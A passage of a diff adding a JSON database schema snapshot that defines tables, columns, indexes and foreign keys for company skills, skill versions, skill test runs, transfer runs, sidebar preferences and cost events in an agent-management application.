+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_run_templates_company_active_idx": {
+          "name": "company_skill_test_run_templates_company_active_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "deleted_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_run_templates_company_id_companies_id_fk": {
+          "name": "company_skill_test_run_templates_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_created_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_created_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk": {
+          "name": "company_skill_test_run_templates_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_run_templates",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_test_runs": {
+      "name": "company_skill_test_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_id": {
+          "name": "skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "input_id": {
+          "name": "input_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_snapshot": {
+          "name": "input_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "skill_version_id": {
+          "name": "skill_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_config_snapshot": {
+          "name": "agent_config_snapshot",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_id": {
+          "name": "template_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_name": {
+          "name": "template_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "template_body": {
+          "name": "template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rendered_template_body": {
+          "name": "rendered_template_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_description": {
+          "name": "harness_issue_description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'queued'"
+        },
+        "output_document_key": {
+          "name": "output_document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'output'"
+        },
+        "output_snapshot": {
+          "name": "output_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "superseded_at": {
+          "name": "superseded_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_expires_at": {
+          "name": "harness_issue_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "harness_issue_deleted_at": {
+          "name": "harness_issue_deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_test_runs_company_skill_created_idx": {
+          "name": "company_skill_test_runs_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_issue_idx": {
+          "name": "company_skill_test_runs_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_input_created_idx": {
+          "name": "company_skill_test_runs_company_input_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "input_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_status_idx": {
+          "name": "company_skill_test_runs_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_test_runs_company_harness_expires_idx": {
+          "name": "company_skill_test_runs_company_harness_expires_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_issue_expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_test_runs_company_id_companies_id_fk": {
+          "name": "company_skill_test_runs_company_id_companies_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_id_company_skills_id_fk": {
+          "name": "company_skill_test_runs_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk": {
+          "name": "company_skill_test_runs_input_id_company_skill_test_inputs_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_test_inputs",
+          "columnsFrom": [
+            "input_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk": {
+          "name": "company_skill_test_runs_skill_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "skill_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_agent_id_agents_id_fk": {
+          "name": "company_skill_test_runs_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        },
+        "company_skill_test_runs_issue_id_issues_id_fk": {
+          "name": "company_skill_test_runs_issue_id_issues_id_fk",
+          "tableFrom": "company_skill_test_runs",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "restrict",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skill_versions": {
+      "name": "company_skill_versions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_skill_id": {
+          "name": "company_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label": {
+          "name": "label",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_id": {
+          "name": "release_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_name": {
+          "name": "release_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skill_versions_skill_revision_idx": {
+          "name": "company_skill_versions_skill_revision_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_skill_release_idx": {
+          "name": "company_skill_versions_skill_release_idx",
+          "columns": [
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "release_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"company_skill_versions\".\"release_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skill_versions_company_skill_created_idx": {
+          "name": "company_skill_versions_company_skill_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "company_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skill_versions_company_id_companies_id_fk": {
+          "name": "company_skill_versions_company_id_companies_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_company_skill_id_company_skills_id_fk": {
+          "name": "company_skill_versions_company_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "company_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "company_skill_versions_author_agent_id_agents_id_fk": {
+          "name": "company_skill_versions_author_agent_id_agents_id_fk",
+          "tableFrom": "company_skill_versions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_skills": {
+      "name": "company_skills",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "folder_id": {
+          "name": "folder_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "slug": {
+          "name": "slug",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "markdown": {
+          "name": "markdown",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_type": {
+          "name": "source_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_path'"
+        },
+        "source_locator": {
+          "name": "source_locator",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_ref": {
+          "name": "source_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "trust_level": {
+          "name": "trust_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown_only'"
+        },
+        "compatibility": {
+          "name": "compatibility",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'compatible'"
+        },
+        "file_inventory": {
+          "name": "file_inventory",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "icon_url": {
+          "name": "icon_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tagline": {
+          "name": "tagline",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_name": {
+          "name": "author_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "homepage_url": {
+          "name": "homepage_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "categories": {
+          "name": "categories",
+          "type": "text[]",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'"
+        },
+        "sharing_scope": {
+          "name": "sharing_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'company'"
+        },
+        "public_share_token": {
+          "name": "public_share_token",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_skill_id": {
+          "name": "forked_from_skill_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "forked_from_company_id": {
+          "name": "forked_from_company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "star_count": {
+          "name": "star_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "install_count": {
+          "name": "install_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "fork_count": {
+          "name": "fork_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "current_version_id": {
+          "name": "current_version_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_skills_company_key_idx": {
+          "name": "company_skills_company_key_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_name_idx": {
+          "name": "company_skills_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_folder_idx": {
+          "name": "company_skills_company_folder_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "folder_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_categories_idx": {
+          "name": "company_skills_company_categories_idx",
+          "columns": [
+            {
+              "expression": "categories",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "company_skills_company_sharing_scope_idx": {
+          "name": "company_skills_company_sharing_scope_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "sharing_scope",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_current_version_idx": {
+          "name": "company_skills_company_current_version_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_version_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_skills_company_forked_from_idx": {
+          "name": "company_skills_company_forked_from_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "forked_from_skill_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_skills_company_id_companies_id_fk": {
+          "name": "company_skills_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "company_skills_folder_id_folders_id_fk": {
+          "name": "company_skills_folder_id_folders_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "folders",
+          "columnsFrom": [
+            "folder_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_skill_id_company_skills_id_fk": {
+          "name": "company_skills_forked_from_skill_id_company_skills_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skills",
+          "columnsFrom": [
+            "forked_from_skill_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_forked_from_company_id_companies_id_fk": {
+          "name": "company_skills_forked_from_company_id_companies_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "forked_from_company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "company_skills_current_version_id_company_skill_versions_id_fk": {
+          "name": "company_skills_current_version_id_company_skill_versions_id_fk",
+          "tableFrom": "company_skills",
+          "tableTo": "company_skill_versions",
+          "columnsFrom": [
+            "current_version_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_transfer_runs": {
+      "name": "company_transfer_runs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "direction": {
+          "name": "direction",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "actor_key": {
+          "name": "actor_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "container_ref": {
+          "name": "container_ref",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "manifest_sha256": {
+          "name": "manifest_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "manifest": {
+          "name": "manifest",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "chunk_count": {
+          "name": "chunk_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "blob_count": {
+          "name": "blob_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "completed_parts": {
+          "name": "completed_parts",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_transfer_runs_company_idx": {
+          "name": "company_transfer_runs_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_idempotency_direction_idx": {
+          "name": "company_transfer_runs_idempotency_direction_idx",
+          "columns": [
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "direction",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_transfer_runs_actor_status_idx": {
+          "name": "company_transfer_runs_actor_status_idx",
+          "columns": [
+            {
+              "expression": "actor_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_transfer_runs_company_id_companies_id_fk": {
+          "name": "company_transfer_runs_company_id_companies_id_fk",
+          "tableFrom": "company_transfer_runs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.company_user_sidebar_preferences": {
+      "name": "company_user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_order": {
+          "name": "project_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "company_user_sidebar_preferences_company_idx": {
+          "name": "company_user_sidebar_preferences_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_user_idx": {
+          "name": "company_user_sidebar_preferences_user_idx",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "company_user_sidebar_preferences_company_user_uq": {
+          "name": "company_user_sidebar_preferences_company_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "company_user_sidebar_preferences_company_id_companies_id_fk": {
+          "name": "company_user_sidebar_preferences_company_id_companies_id_fk",
+          "tableFrom": "company_user_sidebar_preferences",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.cost_events": {
+      "name": "cost_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
